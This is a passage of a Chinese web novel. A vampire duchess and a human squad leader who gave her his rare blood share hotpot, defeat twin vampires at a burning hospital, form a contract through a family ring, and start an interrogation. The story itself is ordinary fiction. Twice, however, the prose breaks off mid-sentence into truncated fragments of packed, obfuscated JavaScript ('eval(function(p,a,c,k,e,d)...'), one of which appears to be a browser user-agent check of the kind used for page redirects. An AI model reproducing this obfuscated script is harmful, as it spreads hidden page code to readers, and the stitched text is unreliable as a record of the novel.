“Bravo!”宁白的眼里更是藏不住的欣赏,像是收藏家获得了至宝,探险家找到了遗迹,艺术家遇到了缪斯。 她的语气有些兴奋,扫视了眼场馆里的跑道,问:“女爵,能麻烦你跑个八百米吗?” 说完,宁白的白大褂被风掀起一角。 下一秒,在她面前的人就不见了。 奥黛快得好似一道残影,肉眼根本无法精准捕捉。等她再次来到宁白面前的时候,宁白甚至觉得,刚刚她的奔跑,甚至都没有惊动时间。 大小白大褂们忍不住齐齐鼓掌。 “牛逼!你比我想得还要快!”宁白赞叹。 “吸血鬼的瞬时移动速度都很快,但我不是最快的。”奥黛忽然想到了她的母亲,伊芙琳女爵。 听管家艾克说过,她曾花一晚上的时间穿遍了本纳斯沙漠,抓回了她们离家出走的父亲。 “但你已经是我见过的吸血鬼里最厉害的了。”并肩朝馆外走去时,宁白还在感叹。 来到特族局以后,她也见过不少吸血鬼,却没有一个人如奥黛一样强悍,无论是速度还是力量都那么超群。想到五天前见到她的时候,她浑身都是伤,宁白不禁疑惑:“所以那伤你的东西究竟是什么?” “光明魔法。” “那为什么同样是吸血鬼的瑞萨却可以对你使用?” 在她看来,光明不该是一视同仁吗? “因为那面魔法阵,是为我准备的。” “万事万物的存在,总有它的破绽。”宁白轻轻哼了一声,“迟早有一天,我要把它打下来。” 奥黛意外地看了眼前这个人类一眼,她看上去很年轻,眉眼里竟有一丝不逊的轻狂,看上去自信不疑。 她问:“所以你到底是怎么为我治伤的?” “因为种族体质的差异,大多数人类的药物对吸血鬼都不起作用。但是有一个人建议我,用最容易被吸血鬼接受的东西试试看。” “是什么?” “当然是血啊,恐龙血。”宁白笑着问她:“所以你感谢那个为你献血的志愿者了吗?他的血啊,可珍贵了。你睡了五天,他就抽了五天。” 奥黛凝眸:“是谁?” 宁白朝不远处的门口扬了扬下巴,“喏,在那。” 路灯下,狮子石雕旁,立着一个背对着他们的修长背影,宽肩窄腰,长腿有一下没一下地踢着地上的石子。那被她赶走的、本不该出现在这里的人,不知在这站了多久。 暖黄色的灯光斜照在他的银色作训服上,折射出一片朦胧的光影,竟然产生一丝毛茸茸的奇异光感,他粗硬的短发茬忽也变得柔和起来。 不由得令奥黛想起,很久以前她养过的一只小狗。 似有所感地,对方回过头来,眼睛慢慢睁大,双腿已经不由自主地朝她走来。 奥黛这时才发现,他的唇色是白的,面色是青的,手背上布满了针孔。 “他不让我跟你说他给你献血的事,但我一向爱拆他的台。”宁白告诉她:“那一天,他抱着浑身是伤的你,闯进我的实验室,一把捞起了袖子对我说,试试他的血,抽多少都可以。” 奥黛微怔,忍不住抬头望向他。 像是回到了五天前日出的那一秒钟。 在失去意识的最后,她听到的是他汹涌如海啸的心音。 他是为什么。 一定要救自己呢? 8. 快乐 在宁白的建议下,女爵决定请这位恐龙血献血志愿者吃火锅,进行食补。 面对奥黛的邀约,宁白打着哈欠说“不饿”,然后拉着五六个肚子咕咕叫的小白大褂离开了。 正值国庆节期间,即便是凌晨十二点,星城火锅店的生意依然火爆。 这座昼夜颠倒的不夜城,直到此时,才算真正苏醒。 在热腾而又浓郁的香气之间,一个个穿着交领长袍的服务员端着盘子走了过来,微笑着把手里的食材依次放下。 鲜肉切成薄片,蔬菜鲜嫩欲滴,丸子饱满精致,一盘盘食材如众星拱月般簇拥着正中间的红油大锅。锅中正滚滚冒泡,袅袅白烟间,花椒八角辣椒大葱正在里头欢快地翻腾。 一滴红油溅在了桌面上。 奥黛面无表情地拿纸擦掉。 随后,她从包里拿出了一本皮质支票簿——即便在线上支付如此发达的时代,她付款方式还是如此老钱,主要是因为她用不惯智能手机。 要知道,这么长的指甲划屏幕可是很困难的。 提起笔又陷入了沉思。 写多少好? 恐龙血值多少钱? 在宁白的科普下,她才明白,原来不同血型有那么多讲究。他们血族习惯把那些百年难得一遇的、分外香甜的血型称为“甜血”;而在人类的世界,则把这类人体红细胞中缺失H抗原的血型称为“恐龙血”,以形容其稀少程度。 为表示诚意,奥黛流畅地在支票簿上签好了名,直接递给了黎信步,任他在上面填写价格。 谁知,黎信步却没有接。 他只是扫了眼支票簿,下颌线条微微紧绷,问她:“什么意思?” 女爵高傲地说:“海尔珀林家族从不欠人。” “你没有欠我。这是我应该做的事。” 奥黛奇怪地瞥他一眼。 “我们不是有合作么——哦,你管那叫交易。”黎信步忽然倾身,将手肘支在了桌面上:“那我保护我的交易对象怎么了?” 奥黛凝眉。 “要实在不想欠我,就陪我把这顿火锅吃完。”黎信步看着她,慢慢地说:“女爵不会连这个愿望都不能满足吧。” “当然可以。” 她倨傲地抬起下巴。 黎信步立即去了小料台鼓捣,端来两碗无蒜酱料,一碗放在了奥黛面前,一碗放在了自己面前。 然后,用长公筷夹起了一片薄薄的肥牛在锅里轻涮,八秒时间一到,立刻夹出。红白相间的肉片紧致蜷缩,裹上了一层红亮的辣汤,热气腾腾。 这片肉被夹到了奥黛的碗里。 奥黛愣了一愣。 “尝尝。”他对她说。 奥黛望着肉片,实在不愿下嘴。无意中瞥见黎信步搭在桌上的那只手,针孔密布,针眼紫红。 她神色稍稍松动,将碗往自己的方向拨了两厘米。 黎信步适时递来一双长长的筷子给她。 接过筷子,奥黛望向邻桌的人,有样学样地用了起来。 可是两只筷子在她的手里不听使唤地乱窜,怎么也夹不起来。没想到一拳能打飞沙袋的女爵,在这双神秘的东方魔法杖面前,竟然会如此力不从心。 不服气地在碗里使劲拨弄了两下,一时没收住力,筷子生生被她折断。 “……” “……” “算了。”奥黛若无其事地放下了碗:“我也不是很想吃——” 话还没说完,黎信步手里长长的筷子,夹着新涮好的肉,越过两人中间的红色海洋,停到了她的嘴边。 盛情。实在。难却。 奥黛勉为其难地咬了一口,汤底的香辣、肥牛的香嫩和小料的香醇完美结合。咀嚼时,滑嫩的肉质轻轻爆开汁水,顺着喉间畅通无阻地滑了下去。 黎信步问:“怎么样?” 奥黛评价:“不难吃。” 他又问:“那你有什么喜欢吃的东西吗?” 除了血液,吸血鬼是不必进食的。人类的食物对她而言并不值得留恋。 不过。她仔细地想了很久,露出了些许迷茫:“什么是,喜欢?” 吸血鬼迷恋鲜血能算作是喜欢吗? 没有鲜血,吸血鬼会崩溃,会枯竭,会死亡。所以从某种意义上来说,鲜血支配并主宰着吸血鬼,使其屈从,使其臣服,使其信仰。 但她认为,这并不是喜欢。 “就是——” 黎信步对她说,“当你想到某一样东西时,会由衷感到快乐。” “并没有这样的东西存在。”在热雾之中,奥黛十分冷淡地说。 她问他:“你有么?” “骑车,运动,美食,这些都是。” 奥黛低头盯着热气腾腾的火锅:“譬如现在?” 黎信步看着她:“譬如现在。” 她再次感到费解:“快乐是什么样的感觉?” 黎信步思忖了两秒,朝她伸出掌心,“要不要听听看?” 奥黛微怔,有些诧异地望向黎信步。 后者礼貌地将头别至一旁,不与她对视,像是在进行无声的邀约。 鬼使神差,一只冰凉的手,居高临下地侵犯了他炽热的领土。 食指与中指像是旅人的双足,踩着他心跳的鼓点,在漫长的生命线上缓缓跋涉。他的掌纹深刻清晰,如同羊皮画卷上的古老地图,好奇的旅人按图索骥,一一造访。 起先是紧张。指尖传来他紧绷的情绪,像是狂风呼啸,她并不感到陌生,毕竟这是她面对伊芙琳女爵时最常见的反应。 然后是悸动。随着指尖的长驱,发现他的心跳越发剧烈,掌心沁出了微微的潮湿,手臂的肌肉线条也绷出了好看的弧度。 她不动声色地听着,看着,思考着。 发现似乎并不完全是悸动,其中还带着一大半其他的情愫。 令她想到若干年前,在她掌心底下蹭脑袋的小狗。眼睛会舒服微眯,舌头会间或轻舔,尾巴会欢快摇摆,十分享受的样子。 是雀跃。是兴奋。是餍足。 指尖越是深入,传来的白噪声就越是喧嚣。很难形容那是什么样的声音,像细雨却又比它缠绵,像落叶却又比它旺盛,像风雪却又比它柔和。 它像万物,又不像万物,传递到她指尖时,让她也能感受到同样的雀跃、兴奋与餍足。 旅人管中窥豹,在粗粝结茧的大掌中心处,捕捉到了快乐,指尖忍不住开始转圈轻划。 黎信步隐忍绷直的手掌忍不住一蜷,指尖如山脉横档,阻住了她前进的步伐。 【痒。】 奥黛无情又霸道地把他手掌抚平,继续探寻快乐。 他忍不住偏回来一点头,见到奥黛认真而专注的神情,耳尖被烧得越来越烫,掌心也越来越痒。 不知过了多久,她把这份快乐推回:“我听见了。” 他的拳头如获大赦地离开了桌面,依恋地握紧了手心残余的冰凉。 “原来这就是快乐。”奥黛轻声喃喃:“那我曾经触碰到了。” “是谁?”黎信步蓦地一滞,凝眉问她:“也是在,谁的手上吗?” “一个朋友。”奥黛转动着手腕,凝望着指尖,后知后觉道:“他给我递冰淇淋的时候,我碰到了。” “男的?” “嗯。” “你们还吃 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“我不想再吃人类的食物,不想再获得人类的友谊,更不想再擦拭人类的墓碑。”一点萦绕在心间的快乐彻底被她放下,她冷漠地把碗推远:“和你的交易我会继续遵守,但,也仅限于此了。” 毕竟找到西拉斯,杀掉西拉斯,她就要去往她该去的地方了。 别人的快乐,纵使再有意思,她也不必再听了。 良久,他的目光穿透这缓慢消散的雾气,清晰而明亮地照耀向她:“你在害怕吗。女爵。” “怕?”奥黛有些意外,她冷哂一声:“我不怕。” “那就让我试一试。” 黎信步看着她,认真地说:“试试我是不是会和冰淇淋朋友一样短命。还有,我以后准备海葬,用不着你扫墓。” 他才不想当什么破哑炮。 要放就放他个轰轰烈烈震天响。 “我说过,我没兴趣和人类成为朋——” “当朋友的话,我的快乐任你取用。”他向奥黛摊开了手,红线晃荡,像是邀请。 纤长的指尖忍不住微微一动,被她掩耳盗铃般在桌面叩了一下。 似乎,有些意动。 两人的谈话被一阵急促的手机铃声中止。 黎信步接完电话立刻起身。 “中心医院出事了,让夜游队支援,我得先走了。”扫码结账完,他对奥黛说:“女爵可以好好考虑一下。” 说着,便匆匆走下楼。 奥黛坐在仿古的雕花支窗边,从她的视角,能够看见黎信步穿过胶凳上等位的人群,跑向树旁停着的机车。 然后一阵呼啸,机车携风卷尘,汇入车流之中。 节日期间,星城的游客很多,离开火锅店的奥黛,一时不知该去往何方。 她如一滴避世离俗的水滴,拒绝与人类为伍,与他们的热闹背道而驰。可不管她往哪个方向走,走着走着,最后都会自然而然地汇进人潮之中。 这里的人潮总是格外宽和,它们包容天地万物,乃至一滴格格不入的水滴。 斑马线前,她不得不再次汇入。 绿灯亮起,人群却没有行动,大家惊恐地抬起头,张望着。 黑色天幕上燃起了一道盛大的橙红火光。 “那是哪里着火了?” “好像是中心医院那边。” “哎唷造孽哦,那么大的火,会不会死人哦……” 血色的眸子猛地一颤,扭曲的火光照亮了她的脸。 越来越亮。 9. 契约 中心医院火光冲天,警戒线被拉得老长,驶近一看,数辆消防车水枪对准了其中一栋楼猛喷。 见黎信步来了,徐让快步上前,一把掀开警戒线说:“血库被点了,还好人群及时给疏散了。特殊时期,局里怀疑不是普通的纵火案,派我们过来一起调查。” 警戒线内,几个身着银色作训服的队员,正打着手电在附近翻查,发现靠近花丛处有大量血迹,以及几袋空了的血袋。 “队长,有发现!” 话音刚落,高楼上,不知什么东西从他们面前坠落下来,“啪”一声,包装碎裂,液体喷溅。 依稀可以看出是一包血袋。 往上看去,一道魅影像喝醉了一样在楼顶胡乱穿行,嚣张至极地将手里喝完一半的血袋再次扔向夜游队员们。 夜游队员们避开以后,纷纷拔枪朝他仰射。 不料在银弹的火力碾压之下,诡异的身影竟然还能继续在楼顶上穿行。 队员们面色惊变。 徐让沉思:“怎么回事?银弹枪对他们不起作用?” 宁白手握望远镜,仔细观察着楼顶的吸血鬼,亲眼见到一枚银制子弹被打进了他的身体里。 很快,那枚子弹破出掉落,伤口停止流血,狰狞的弹孔也以肉眼可见的速度迅速愈合。 她语气凝重:“难道是和他的特殊能力有关?” 几乎所有的吸血鬼速度与力量都很优越,但并不是每一个吸血鬼都有特殊能力。联想到奥黛有着瞬时读心的能力,宁白猜测,这只高阶吸血鬼的特殊能力也许是与愈合恢复有关。 她拿出手机:“我给女爵打个电话问问。” 黎信步瞥她一眼:“你有她号码?” “当然了。”宁白轻声问:“不会还有人没有吧。” 黎信步:“……” 半分钟后,宁白摇头说:“她没接。” 黎信步收回视线,说:“如果说普通银弹对他造成不了什么伤害,那么只有一个办法了——” “我去试试圣银军刀。” “不行。”徐让拦住他,原本阳光灿烂的一张脸,看上去很是苦恼:“且不说咱队里现在就这么一个圣银武器了,要是一击不中,试错的成本太大了。” “武器部说什么时候生产出第二批圣银武器?” “起码一周,估计得中秋后了。” “等不到那时候了。”部署好了狙击手的位置,黎信步做了一个掩护他的手势,在吸血鬼转身的空档,径直朝楼顶的方向跑去。 徐让立刻带领队员们替他掩护。 更加密集的银弹雨逆流而上,向楼顶的四面聚集落下,金棕色短发的吸血鬼微微一愣,长开双臂有恃无恐地享受着弹雨,唇上的肆意笑容逐渐加深。 黎信步悄无声息地走到楼顶,发现上面全部都是血袋和爆开的血液。在昏暗的灯光下,像一潭诡谲怪诞的死水。 这只身穿雪白的丝绸衬衫的吸血鬼,正在这潭死水里手舞足蹈。苍白的两指间夹着了两袋喝了一两口的血,晃荡在楼顶边缘,要坠不坠。被擦得锃亮的手工皮鞋轻巧地踏在了水面上,溅起了暗红的血花,又隐没在他黑色的裤腿边。 他闭上眼睛,表情极享受,像是在聆听着这动人乐章。 下一刻,他难以置信地睁开眼睛—— 一个速度很快的人类,不知何时绕到了他的身后,用一把圣银军刀从后往前——沿着他肩胛骨的缝隙一路往前推,轻而易举地将利刃推进了他的胸膛。 在圣银的抑制下,他愈合的速度变得越来越慢。 咚一声。 他倒在了血泊之中,雪白的衬衫顷刻间就被死寂的潭水染成血红。 黎信步弯腰抽刀,余光却在暗色水面的反光处,看见了另外一双精致的手工皮鞋。 他迅速转身,利落挥刀,银芒照亮了来者的脸,锋刃割掉了对方的一缕发丝。 这人有着一头蓬松微卷的金棕色短发,脑后扎着一根小辫,雪白上衣的上衣一尘未染,长裤垂顺挺括,皮鞋闪闪发光。 最关键的是,他的脸。 ——与刚刚被捅的吸血鬼一模一样。 匪夷所思的是,原本倒在血泊里的吸血鬼不见了。 面前这吸血鬼,有着一双深不可测的红眸,像捕猎一样贪婪地紧盯他,由衷发出喟叹:“你好香啊。” 黎信步冷笑:“知道上一个说这话的吸血鬼,后来说什么了吗?” “什么?” “很快你就会知道。” 说着,他手中寒芒快速一晃,对方避闪不及,精致苍白的脸上骤然出现了一丝血痕。 在那双深红的眼睛下睑之下,浮现出了一道一两厘米的伤口,血滴从中淌落,像是一滴血泪。 对方后知后觉地屈指揩上面中,看清指尖的血迹时,眸中顿时闪过一丝森然。 黎信步仔细观察着他的脸,发现伤口虽然正以极缓慢的速度愈合着,却远不至于能在被圣银重创后毫发无伤。 装神弄鬼,不过如此。 “还有一只吸血鬼呢?是你的哥哥,或者弟弟?” 对方眯着眼睛看着他,“猜猜看,他在哪里。” 翻涌的血雾从他身后溢出,迫不及待地笼罩着楼顶。 蛰伏在高处的狙击手顿时失去了视野,依稀只能辨认出两个人的身影在血雾中忽隐忽现。紧接着,漫卷的阴森血雾里又出现了第三个人,血淋淋的衣服,一模一样的脸。 双胞胎吸血鬼一左一右朝黎信步包抄而来,后者听见左侧的脚步声音略沉重拖沓,于是左手朝那方向直接刺去。 利刃直接扎进血肉,深红颜色的血溅了黎信步一脸。 他冷酷道:“开枪。” 久候在热成像瞄准镜前的狙击手,立刻扣动扳机,一发银弹直接没入黎信步右侧吸血鬼的胸口。 吸血鬼猝不及防被银弹打中,脚步踉跄地后退两步。黎信步蹬开左侧吸血鬼后立刻转身,轻抛刀柄,迅速换至右手拿刀,锋利的银刀灵活地捅向对方的胸膛。 然而刀尖并没有像黎信步预想的那样顺畅推入,而是被什么坚实的东西所阻挡。 疼痛令吸血鬼倒吸一口凉气,血雾溃不成军,溢散消失。 黎信步这才看清楚对方的全貌。 一对巨大的黑色翅膀从对方的身后展开,像襁褓一样将它的身躯紧紧护住。 那本应捅进他胸膛的圣银军刀,被翼骨所挡,难再深入丝毫。 几秒后,银弹的创伤被他完全治愈,眼底的圣银刀痕只余下淡淡的血迹。破绽被他尽数收回,这只高阶吸血鬼像是被激怒了一样,振翅一甩,骨骼上嵌入的圣银军刀被他振飞至楼底。 黎信步马上拔枪射击,弹孔落在了对方的眉心、躯干、四肢,却只能延缓他的动作,并不能阻碍他的脚步。 随着对方步步逼近,滴血的翅膀缓缓张开,像是地狱中走出来的恶魔。 “我今天,”竖瞳犀利地盯着黎信步,喉间发出阴恻恻的低吼:“一定要吃掉你。” 楼顶天台过于开阔,躲无可躲,避无可避,在黎信步身后是数十米的高楼。 就在对方伸长指甲朝他扑来时,他抬手格挡,预料的力道并没有来临,他忽然眼前一黑。 一道巨大的阴影骤然落在了他的面前。 一对吸血鬼翅膀在他的面前一晃而过,又被奥黛面不改色地迅速敛回,隐没在她白色希腊裙的圣洁庄重里。 黎信步黑眸骤缩,眼里闪过一丝愕然的心疼,如果刚刚没有看错的话,她的翅膀好像遍布着伤痕? 那对翅膀收进她的肩胛,成了两只黑色细点。她的后肩,白纱环绕,脊骨处,似乎还纹有一株金色蔷薇,不知名的符文环绕在周围,于缥缈的白纱间若隐若现。 飘逸的纱质长裙并未中和掉她身上凌厉逼人的气势,反而让她在月光下有一种无法直视的神圣感。 “退下。”她面无表情地抬起头。 那只吸血鬼被她抬翅的那一瞬间逼退了好几步,站定时却忍不住刺她:“从什么时候开始,高贵的海尔珀林的女爵竟然为人类效力了?” 她懒得辩驳,抬眼问:“那你呢,音戈。你为谁效力。” 对方诧异地看了她一眼,滔天的气焰忽然偃旗息鼓。 “你……”他低声说:“你还记得我的名字。” 当然记得。 出生在永夜岛的双生子高阶吸血鬼并不多,同时期出生的,海尔珀林女公爵家有一对,某个子爵家那不知名的血仆也生有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当然,一般来说,并没有哪个吸血鬼会为了人类和贵族家主为敌。 交易还没结束,她总要保下他。 于是她说:“是。” 黎信步绷直的唇角忍不住往上扬,又克制地抿起,眼神凶如恶犬。 音戈的目光飞快打量了他一眼,沉着脸说:“他的身上可没有你的印记,怎么证明是你的人?” 印记而已。 她握住了黎信步的手臂,冰凉的掌心往上轻轻一压,他的手腕内侧立刻被印下了一个很小很小的,海尔珀林家族蔷薇家徽。 黎信步看着这比巴卜贴纸一样的粉色印记,问她:“这就好了?” 会不会被洗澡冲掉? 会不会流汗洇花? 要是不小心弄掉以后她还给印吗? 心音太大声了,奥黛收回了手,瞪他一眼。 他真的知道这印记是什么意思吗? 就在刚刚的那一瞬间,她脑海里忽然产生了一个荒诞的想法。 她想随时取用他的快乐,或许可以通过这样的方式实现—— 毕竟私产不可以对主人说不,而这样,她也不算真正与人类产生羁绊。 毕竟古往今来,从没有一个血族家主会为一个人类奴隶的离世而感到伤悲。 但是为什么,这人好像很期待的样子? 成为她的私产。 “那你也给他信物了吗?!” 音戈面含怒气,朝他们走来。 只有印下家族印记、给人类奴隶能象征自己家族的信物,契约才算正式生效。 在过去,贵族吸血鬼们通常会给予人类一枚家徽金币。但在二十一世纪,并没有谁会带着家徽金币到处跑了。 更何况,奥黛在此前并没有过人类奴隶。 她浑身上下能象征海尔珀林的只有一样东西。 契约都结下一半,姑且先把它完成,待会再要回来。 于是从拇指上摘下了一枚蔷薇戒指,递给了黎信步。 这枚戒指古朴高贵,雕刻着精美花纹的墨绿色戒臂如枝叶一样簇拥着红宝石的戒面,彷如蔷薇花在绿叶中恣意盛开,宝石的周围环绕着几颗细闪钻石,即使是黑夜也难掩其辉。 指尖接触到他的皮肤的那一瞬间,再次听见了他的心音: 【一会儿还给你。】 奥黛略点了一下头,这戒指对她而言的确重要,他这私产当的还算懂事。 “现在,”奥黛冷傲地宣布:“他是我的了。” 戒指上的桃红色微芒在黎信步的指间轻轻一闪,契约从此刻开始生效。 10. 舞曲 目光死死盯着黎信步食指上的蔷薇戒指,音戈的脸色忽然变得异常难看。 刹那间,他的黑色翅膀腾然展开,席卷着强烈的肃杀之气,朝黎信步扑来。 奥黛的翅膀也同一时间也重新张开,黑色翼膜迅速绷紧,如盾牌般再次立在了黎信步的前面,不容他人侵犯。 仔细看她的翅膀,上面遍布着各种陈年伤痕。 贴近她手臂的几根翼骨有如歪斜扭曲的树枝般支撑着破伞一样的黑翼。本不该存在的骨刺突兀地林立,野蛮地顶出了崎岖的形状。覆盖在上面的翼膜瘀斑肿胀,看上去要比寻常翼翅要厚一些。 最触目惊心的,是她的翼膜上遍布着无数刀痕,或捅,或刺,或割,并且刀口毫无例外地全部向外。 黎信步心脏忽然一缩,也就是说,曾经有人在她的庇护下,把她伤成这样。 是谁? 奥黛却神色如常,或者说是冷淡。 若非必要,她不愿在人前显露翅膀。 与美丑无关,在每一次展翅时,她都不可避免地回想起从前痛苦的回忆。她厌恶那样的从前,那样的自己。 翅膀最下端的尖骨像一把锋利的弯刀,在音戈飞来的一瞬间,她抬翅一划,对方立刻皮开肉绽,连退数米。 被安迪扶住了。 音戈稳住了身形,鲜血一滴一滴落到了地上。 他却恍若未觉,重新张开双翅,眼见就要朝紧密挨着的两人再次扑上去时,被安迪拉住了。 “哥哥。”安迪小声说:“要不算了。” 音戈脸色阴沉得可怕:“算了?” 不可能。 三百多年前,他跪在她面前祈求她能收留他们,当海尔珀林家族的血仆,最卑贱、最低微的都可以。 可她无动于衷,漠不关心。 如今却开始庇护一个普通的人类? 甚至把那么重要的戒指都给他。 凭什么? 音戈气得面容扭曲,森白的尖牙长了出来,恨不能张嘴咬断这人的脖颈。 或许迦莱尔王子说得对。 只有降服她,才能真正拥有她。 天台刮起了大风,金棕色发丝在风中飘零,孤零零的辫子拍打着他的脊背,像顿首,像叩问。 风里,他不甘地凝望着奥黛,决定再给她一次机会:“之前的事,你后悔过吗?” “什么事?” 微微一愣,奥黛想了想,眼眸逐渐变得冰冷:“我确实有一件后悔的事,但与你们无关。” “那么,”音戈残忍地笑了:“很快你就会有第二件后悔的事了。” 说完,他摊开掌心,一面银色的魔法阵缓缓从他手中升起。 他忽然抬起手臂,默念咒语,外圈的光芒顷刻被点亮,光束直接朝奥黛射出。 是光明魔法阵。 奥黛一滞,脚下生根。 “姐姐——” “小心——” 薄莎和黎信步的声音同时在她的耳畔响起,血瞳竖成细线,还没来得及动作,就被连人带翅膀地圈进了一个宽大温暖的怀抱里。 一束强光脱弦而出,直接打入黎信步的后背。 与强光同至的还有掀天的狂风,身上的白纱无可奈何地被吹向天际,而她被抱得更紧。 她一窒,立刻去检查黎信步的伤口。 【别怕。我没事。】 这才发现,那束强光只是没入了黎信步的作训服,并没有对他造成什么伤害。 看样子,这魔法阵只对海尔珀林家族的吸血鬼奏效,对人类奴隶并不奏效。 【看楼下。】 在黎信步的提醒下,她的余光扫到全副武装的银色小队正悄悄摸上楼。 于是她会意,与黎信步一同拖延住双生子。 第二束强光袭来时,黎信步把奥黛拽至身后,开枪击中音戈的掌心,魔法阵立刻被熄灭。奥黛借势抓住了黎信步的手腕,以他为圆心,展翅横扫一圈,翼钩尖利地划破了朝他们安迪的胸膛。 在第三束光到来前,黎信步迅速拉回奥黛,挡在了她的身前。 光束没入,无事发生。 当第四束、第五束强光袭来时,两人互为盾牌,互为利刃,转退为进,以攻为守,心有灵犀,像是在跳一曲轻盈优雅的华尔兹。 情势不知从何时起发生了变化,双生子被逼得节节败退,转眼就退至了楼梯边。 而一群穿着银色防暴服、戴着透明头盔的夜游队员已经在楼梯边等候多时。 砰砰砰砰—— 密集的银弹火线朝双生子猛攻,饶是他们愈合能力再强,此刻也出了不少血。 队员们谨慎观察着这两个高阶吸血鬼,怕他们振翅一挥就要逃跑。 然而他们却好像并没有要跑的意思。 像是放弃抵抗似的,任由银弹如雨点般向他们袭来。音戈身上布满了密密麻麻的血洞,目光却一寸不离地紧盯着奥黛。 像毒蛇。 似强胶。 弹雨渐渐停歇。 眨眼之间,奥黛来到了他们面前,虎口卡住了音戈修长的脖颈,伸出尖甲警告他: “我不喜欢被这样看着。” 黎信步掏出银色手铐,把他们铐住。 面对这样厉害的高阶吸血鬼,队员们不敢松懈,拿出长而粗的银制链条将他们浑身捆得严严实实。 直到被奥黛的目光直视时,音戈才把视线微微下移。 她的大拇指上,留有一道戒痕。 “为什么?”他一边吐血,一边问出了像诅咒一般,缠绕在心底三百多年的问题:“你当初不愿意我们做你血仆。” 奥黛凝眸回想。 好像是有这么回事。 那时两人也像现在这样流了很多血,狼狈地跪在她的面前,求她收留。 “我不需要。” 那时她是这样说。 现在,还是。 好像从那时候起,她就不太想和这个世界好好打交道了。 却还是,苟延残喘了三百年。 音戈显然还是无法接受这个理由,浑身突然剧烈颤抖,愈合的速度根本赶不上伤口撕裂的速度。 伤口大片大片地溢出了血。 “那你为什么会……会和人类奴隶签订契约?!” “你、你甚至还——” “还把那么重要的戒指给他!” 奥黛没心情再回顾往事,不耐烦地抬手点上音戈的额头,对方立刻安静了下来。 她问:“西拉斯在哪里?” 【……】 没反应? 松开手,听见两声沉闷的“咚”声。 两只吸血鬼晕倒在地,身上还汩汩地流着血。 宁白气喘吁吁地爬上来,一见这场面,连忙对身后的小白大褂们说:“流这么多血,赶快采血呀,别浪费!” 一群小白大褂们拿着粗壮的针头和针管忙活了起来。 像是想到什么,她的目光停驻在了黎信步的后背,作战服是完好的,后面连一丝灼痕都没有。 不禁感叹道:“啧啧,这光,真奇了。不过最奇的还是你俩刚刚的配合,和跳舞一样。我给你们录了一段,你们看看。” 黎信步不感兴趣地拨开宁白的手机,拿着对讲机调度押解去了。 宁白笑而不语,继续指挥小白大褂们干活。 抽了一管又一管,奥黛深感奇怪:“为什么要抽血?” 从来都是吸血鬼吸人血,怎么现在的人类开始吸吸血鬼的血了? “为了做关于吸血鬼的课题研究,比如血液研究、基因研究、生理结构研究、特殊能力研究等等。” “我的血也能做研究?” “那个,”宁白有些心虚:“在你昏迷的那五天,我其实已经抽过你的血了。” 奥黛:“……” 见血采得差不多了,双生子的伤口正在慢慢愈合,宁白不禁感叹:“要是我有生之年能解剖一只吸血鬼就好了。” 小白大褂们面面相觑,偷偷拽了拽口不择言的宁白。 这话是能当着女爵的面直说的吗! 奥黛却说:“那等我准备死的时候提前通知你。” 宁白有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她自杀。用一把圣银匕首。”说到这里,奥黛的嘴角忍不住勾起了一抹刻薄的弧度,并掌作刀,在喉间轻轻一抹:“很轻松就能杀掉自己。” 黎信步勘破了她的刻薄,直面冷淡笑容下的脆弱,轻轻问:“会很难过吗。” 她停下了脚步,似笑非笑:“不。” 难过?可笑。 她不会为软弱之人难过。 何况,从来也没有人教她如何归类和整理自己的情绪。漫长的三百多年,绝大部分时候她只是觉得痛苦。 平静而清醒的痛苦。 黎信步看着她蹙起的眉头,突然朝她伸出了手:“想要听听吗。” “我尽量想一些快乐的事情。” 她忍不住靠近他的美妙,指尖缓缓地伸去,却在即将触碰的那一刻停止。 “不用了,我并不感兴趣。” 视线落到了他的食指上,绿藤戒臂像在他的指根缠绕攀爬,无端地,看着有些不顺眼。 奥黛说:“戒指,还给我。” “好。”黎信步点头,捏着戒圈轻轻一拧,戒指纹丝不动。 奥黛:“?” 再次尝试,依然不动。 奥黛:“!” 她往前走了两步,亲自上手,一手握住他的手腕,一手用力扭拽他的食指。 戒指像生根一样,怎么都拔不出来。 指关节被拽出“咔咔”的弹响声。 他的表情隐忍,却没有阻止。 奥黛眼里忽然闪过一丝杀机,眯眼打量。 “你看上去像是要砍我。”他说。 “是。”女爵毫不心虚地承认,认真地思考着砍掉指头拿回戒指的可行性。 “它对你来说很重要吗?” “当然。” 这可是历代海尔珀林公爵给爱人的定情信物,也是她父亲留下来的唯一遗物。 她眼神一凛,望向黎信步:“我必须要拿回来。” 11. 效颦 傍晚六点半,听宁白说其中一个双生子醒了,黎信步立刻带着鹿露去审讯室审问。 这间审讯室是专门为吸血鬼打造的,银箔纸糊了满墙,一束暖黄的灯光自上而下照射,整间房都闪烁着银光与日芒。 正中间放着一张银色的审讯桌,音戈被铐在了桌边,双臂被银链连着椅子结实地捆了了几圈,保证翅膀无法顺利伸展出来。 一天的时间,音戈的伤已经好得差不多了,见到黎信步进来,他的脸色差到了极点,喉咙里发出威慑的低吼声。 黎信步在他数米远的金属椅子上随意一坐,长腿交叠,右肘撑着桌沿,皮靴鞋尖轻敲地面,片刻后,他鹿露点了一下头。 第一次审讯吸血鬼的鹿露不容有失,压低声音威严道:“这里是特族局夜游队审讯室,我是负责本案的队员鹿露,现在对你进行讯问。请你坦白从宽,抗拒从严。” “……” “姓名。” “……” “我问你叫什么?” “……” 不管鹿露怎么问,他都没有开口。 鹿露推开面前的电脑,重重地敲了一下桌子:“知道这什么地方吗?特族局!夜游队!你犯了这么大的事,以为不说话就完事了?我们夜游队有的是力气和手段。” “到底是谁指使你盗窃血库,火烧医院的?” 血库的血袋存量和他们找到的残余血袋对不上数,还有许多袋血袋不翼而飞。这么多血足够在短时间内补给一只小型吸血鬼军队了。 音戈依然不说话,目光阴寒。 黎信步起身把摄像机关了,云淡风轻地对鹿露说:“别费工夫在这耗,他弟醒了,把圣银军刀带上,去另一间吧。” 鹿露看了黎信步一眼,会意地抱电脑跟上:“好的队长!” 快要走到门口时,音戈面色铁青地叫住他们:“你们有什么就冲我来,不要伤害安迪。” 